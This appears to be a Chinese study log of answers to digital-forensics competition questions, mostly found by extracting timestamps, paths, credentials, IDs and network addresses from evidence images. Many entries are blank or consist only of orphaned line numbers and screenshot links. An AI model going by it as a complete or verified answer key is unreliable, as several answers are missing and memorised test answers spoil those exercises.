### 题目8记录计算机Foxmail软件的安装时间

2020-07-27 12:56:47

1
2
3
4
5

![image-20241022085616082](电子数据取证刷题1/image-20241022085616082.png)

### 题目9记录计算机于2020年7月29日最后一次运行navicat时间

2020-07-29 16:31:22

1
2
3
4
5

![image-20241022092430172](电子数据取证刷题1/image-20241022092430172.png)

### 题目10嫌疑人曾用远程工具连接过__台服务器

4

1
2
3
4
5

![image-20241022092830777](电子数据取证刷题1/image-20241022092830777.png)

### 题目11查找计算机中有关手机应用的痕迹,记录APP文件所在路径,无需输入盘符(例:/Program/apk/999.jpg)

/Users/hello/Downloads/2020001.apk

1
2
3
4
5
6
7
8
9
10
11
12

+ 找到一个嵌套取证的

![image-20241106135724872](电子数据取证刷题1/image-20241106135724872.png)

+ 马上添加为新检材
+ 在下载这边找到

![image-20241106143933627](电子数据取证刷题1/image-20241106143933627.png)

### 题目12查找嫌疑人电脑上网站源码最可能的来源

邮箱获得

1
2
3
4
5

![image-20241106142138106](电子数据取证刷题1/image-20241106142138106.png)

### 题目13

config.db.php

1
2
3
4
5
6
7
8
9
10
11

+ 找到该压缩包后导出压缩包

![image-20241106144401140](电子数据取证刷题1/image-20241106144401140.png)

+ 直接找到config目录

![image-20241106144517403](电子数据取证刷题1/image-20241106144517403.png)

### 题目14记录手机自动连接过的WIFI名称

Xiaomi_6294_5G

1
2
3
4
5
6
7
8
9

+ 直接一把梭

![image-20241106140217950](电子数据取证刷题1/image-20241106140217950.png)

### 题目15分析手机数据,请判断微博发送的验证码的短信是否已读,若已读,请写出读取时间

### 题目17选择手机数据当中,与百度相关的应用名

手机百度
百度网盘
百度地图

1
2
3
4
5
6
7

+ 百度网盘和手机百度都很好找到,但是百度地图要稍微注意一下

![image-20241106143328687](电子数据取证刷题1/image-20241106143328687.png)

### 题目18统计计算机中,5、6月份工资表发放总额为多少元

1
2
3

### 题目19

8@qq.com-admin123456

1
2
3
4
5
6
7

+ 直接一把梭

![image-20241106143020808](电子数据取证刷题1/image-20241106143020808.png)

### 题目21找出计算机中WPS的下载网址

https://pacakge.cache.wpscdn.cn/wps/download/W.P.S.982801.12012.2019.exe

1
2
3
4
5

![image-20241106140959792](电子数据取证刷题1/image-20241106140959792.png)

### 题目23暗网登录地址账号密码(格式:地址-账号-密码)

1
2
3

### 题目25计算机中是否存在加密容器,其形式为

VeraCrypt

1
2
3
4
5
6
7
8
9

+ 找一下就看到了

![image-20241106141735676](电子数据取证刷题1/image-20241106141735676.png)

## 服务器分析

### 题目33

www/wwwroot/fafafa.online

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220

+ 直接查找文件

![image-20241106150437138](电子数据取证刷题1/image-20241106150437138.png)

## 流量分析

### 题目43分析检材1,黑客的IP地址是

+ 答案:`192.168.94.59`
+ 经过发送包和返回包的分析,得到该ip可能性最大

![image-20241030082440166](电子数据取证刷题1/image-20241030082440166.png)

### 题目44

+ 分析检材1,黑客登录web后台使用的账号是
+ 答案:
+ 确定黑客ip后现在直接将其他ip过滤,同时也要看被攻击主机发给黑客的包,以确定黑客攻击

![image-20241030083340924](电子数据取证刷题1/image-20241030083340924.png)

+

### 题目45

### 题目46

# 2022蓝帽杯半决赛

## 手机取证

### 题目1 手机取证_1

+ iPhone手机的iBoot固件版本号:(答案参考格式:iBoot-1.1.1)
+ 答案:`iBoot-7429.62.1`

+ 先在该文件目录上找到`Password.txt`,该密码用于火眼取证的时,取证zip解压的文件会出现`请输入iOS备份密码(苹果):`这个提示词

![image-20241101160423795](电子数据取证刷题1/image-20241101160423795.png)

+ 取证后查看该文件就会发现`iBoot`的固件版本号

![image-20241101160938824](电子数据取证刷题1/image-20241101160938824.png)

### 题目2 手机取证_2

+ 该手机制作完备份UTC+8的时间(非提取时间):(答案参考格式:2000-01-01 00:00:00)
+ 答案:`2022-01-11 18:47:38`
+ 直接分析出来

![image-20241101161216689](电子数据取证刷题1/image-20241101161216689.png)

## exe分析

### 题目3 exe分析_1

+ 文件services.exe创建可执行文件的路径是:(答案参考格式:C:\Windows.exe)

+ 答案:
+ 这边就要对受害者的安卓手机进行取证,要取证多镜像文件

![image-20241101161812984](电子数据取证刷题1/image-20241101161812984.png)

### 题目4 exe分析_2

### 题目5 exe分析_3

### 题目6 exe分析_4

### 题目7 exe分析_5

## APK分析

### 题目8 APK分析_01

### 题目9 APK分析_02

### 题目10 APK分析_03

### 题目11 APK分析_04

### 题目12 APK分析_05

### 题目13 APK分析_06

### 题目14 APK分析_07

### 题目15 APK分析_08

### 题目16 APK分析_09

### 题目17 APK分析_10

### 题目18 APK分析_11

### 题目19 APK分析_12

### 题目20 APK分析_13

### 题目21 APK分析_14

### 题目22 APK分析_15

## 服务器取证

### 题目23 服务器取证_01

+ 服务器在启动时设置了运行时间同步脚本,请写出脚本内第二行内容。(答案参考格式:/abcd/tmp [www.windows.com)](http://www.windows.com)/)
+ 答案:

# 2024精武杯

## 计算机和手机取证

### 计算机和手机取证-1

+ 请综合分析计算机和手机检材,计算机最近一次登录的账户名是
+ 答案:``

# 2024龙信杯

## 手机取证

### 手机取证1

+ 分析手机检材,请问此手机共通过adb连接过几个设备?[标准格式:3]
+ 答案:`2`
+ 我的思路是这样的,但是我的思路是错误的
+ 我直接看到这里有`01`、`02`两个编号就直接填俩个了

![image-20241101174122577](电子数据取证刷题1/image-20241101174122577.png)

+ 正确的应该看这边,直接搜索`adb`然后看到有俩个abd的密钥,从而得出结论

![image-20241101174233978](电子数据取证刷题1/image-20241101174233978.png)

### 手机取证2

+ 分析手机检材,机主参加考试的时间是什么时候?[标准格式:2024-06-17]
+ 答案:`2024-08-23`
+ 查看便签即可,这边`8-12`是周一,下周五即为`23`号

![image-20241101175217020](电子数据取证刷题1/image-20241101175217020.png)

### 手机取证3

+ 分析手机检材,请问手机的蓝牙Mac地址是多少?[标准格式:12:12:12:12:12:12]
+ 答案:`48:87:59:76:21:0f`

+ 这里直接查看蓝牙的相关操作记录,直接可以得出结果

![image-20241101175451788](电子数据取证刷题1/image-20241101175451788.png)

### 手机取证4

+ 分析手机检材,请问压缩包加密软件共加密过几份文件?[标准格式:3]
+ 答案:``
+

## 流量取证

### 题目1

+ 分析流量包检材,给出管理员对web环境进行管理的工具名。(标准格式:小皮)

# 2024FIC线上赛

## 手机部分

### 手机部分-1

+ 嫌疑人李某的手机型号是?
+ 答案:`Xiaomi MI 4`

+ 直接文本搜索`Xiaomi`,直接搜索出来是`Xiaomi MI 4`

![image-20241101213103909](电子数据取证刷题1/image-20241101213103909.png)

### 手机部分-2

+ 嫌疑人李某是否可能有平板电脑设备,如有该设备型号是?
+ 答案:`Xiaomi Pad 6s`

+ 直接搜索关键字

![image-20241101213343254](电子数据取证刷题1/image-20241101213343254.png)

+ 其实在做手机部分3的时候可能也会注意到`Xiaomi Pad 6s`

![image-20241101213506259](电子数据取证刷题1/image-20241101213506259.png)

### 手机部分-3

+ 嫌疑人李某手机开启热点设置的密码是?
+ 答案:`5aada11bc1b5`

+ 直接查看移动热点记录这边就可以看到了

![image-20241101213556443](电子数据取证刷题1/image-20241101213556443.png)

### 手机部分-4

+ 嫌疑人李某的微信内部ID是?
+ 答案:`wxid_wnigmud8aj6j12`

+ 直接翻微信的就可以找到

![image-20241101213653007](电子数据取证刷题1/image-20241101213653007.png)

### 手机部分-5

+ 嫌疑人李某发送给技术人员的网站源码下载地址是什么?
+ 答案:`http://www.honglian7001.com/down`
+ 这题逻辑比较清晰,案件交代有老赵和老李,现场还有服务器,而老李不是技术人员,老赵可能是技术人员,所以找微信聊天记录备注为赵的,一下就找到了

![image-20241101214344266](电子数据取证刷题1/image-20241101214344266.png)

+ 找到结果为一个二维码,扫描该二维码会得到一个,新约佛论禅加密的密文

新佛曰:諸隸僧殿降吽諸陀摩隸殿僧殿缽殿薩願僧殿宣摩殿嚴願殿是迦咒叻吶嚤須塞亦須阿隸嚤須愍眾殿蜜殿隸願蜜哆蜜亦願是念慧殿隸摩哆殿即隸嚤訶須隸亦愍如如殿囑殿囑


+ 解密后就得到对应的下载网址了

![image-20241101214631337](电子数据取证刷题1/image-20241101214631337.png)

### 手机部分-6

+ 受害者微信用户ID是?
+ 答案:`limoon890`
+ 这里也是直接寻找受害者的微信

![image-20241101214757409](电子数据取证刷题1/image-20241101214757409.png)

### 手机部分-7

+ 嫌疑人李某第一次连接WIFI的时间是?
+ 答案:``

### 手机部分-8

+ 分析嫌疑人李某的社交习惯,哪一个时间段消息收发最活跃?
+ 答案:` 16:00-18:00`

+ 查看聊天记录,得到李某的发言时间是在 16:00-18:00最活跃

![image-20241101215320734](电子数据取证刷题1/image-20241101215320734.png)

### 手机部分-9

+ 请分析嫌疑人手机,该案件团伙中,还有一名重要参与者警方未抓获,该嫌疑人所使用的微信账号ID为?
+ 答案:``

# 2024獬豸杯

## APK分析

### 题目1 APK分析1

+ APP包名是多少。(标准格式:com.xxx.xxx)
+ 答案:`com.example.readeveryday`
+ 直接火眼取证一把梭

![image-20241104231906293](电子数据取证刷题1/image-20241104231906293.png)

### 题目2 APK分析2

+ apk的主函数名是多少。(标准格式:comlongxin)

+ 答案:`StartShow`

+ 直接反编译查看

![image-20241104232403870](电子数据取证刷题1/image-20241104232403870.png)

+ 或者火眼一把梭

![image-20241104232558226](电子数据取证刷题1/image-20241104232558226.png)

### 题目3 APK分析3

+ apk的签名算法是什么。
+ 答:``

+ 签名算法要看反编译这边的

![image-20241104232743021](电子数据取证刷题1/image-20241104232743021.png)

+ 虽然火眼也可以看得到,但是俩个说法不一样

![image-20241104232807627](电子数据取证刷题1/image-20241104232807627.png)

### 题目4 APK4

+ apk的应用版本是多少。(标准格式:1.2)
+ 答案:`1.0`
+ 还是继续查看反编译的

![image-20241104232946862](电子数据取证刷题1/image-20241104232946862.png)

### 题目5 APK5

+ 请判断该apk是否需要联网。
+ 答案:`是`
+ 还是直接火眼一把锁

![image-20241104233045973](电子数据取证刷题1/image-20241104233045973.png)

### 题目6 APK6

+ APK回传地址?(标准格式:127.0.0.1:12345)
+ 答案:`10.0.102.135:8888`
+ 这题正常做可能还要抓包,但是这题直接就字符串搜索即可

![image-20241104234036747](电子数据取证刷题1/image-20241104234036747.png)

### 题目7 APK7

+ APK回传数据文件名称是什么。(标准格式:1.txt)
+ 答案:`Readdata.zip`
+ 还是找或者抓包

![image-20241104234258573](电子数据取证刷题1/image-20241104234258573.png)

### 题目8 APK8

+ APK回传数据加密密码是多少。(标准格式:admin)
+ 答案:``
+ 

### 题目9 APK9

+ APK发送回后台服务器的数据包含以下哪些内容?(多选)

## 计算机取证

### 题目10 基本信息-1

+ 计算机系统的安装日期是什么时候。(标准格式:20240120)
+ 答案:`20240112`
+ 火眼一把梭

![image-20241105001331102](电子数据取证刷题1/image-20241105001331102.png)

### 题目11 系统痕迹1

+ 请问机主最近一次访问压缩包文件得到文件名称是什么。(标准格式:1.zip)
+ 答案:`data.zip`
+ 直接火眼一把梭

![image-20241105001450353](电子数据取证刷题1/image-20241105001450353.png)

### 题目12 数据库分析-1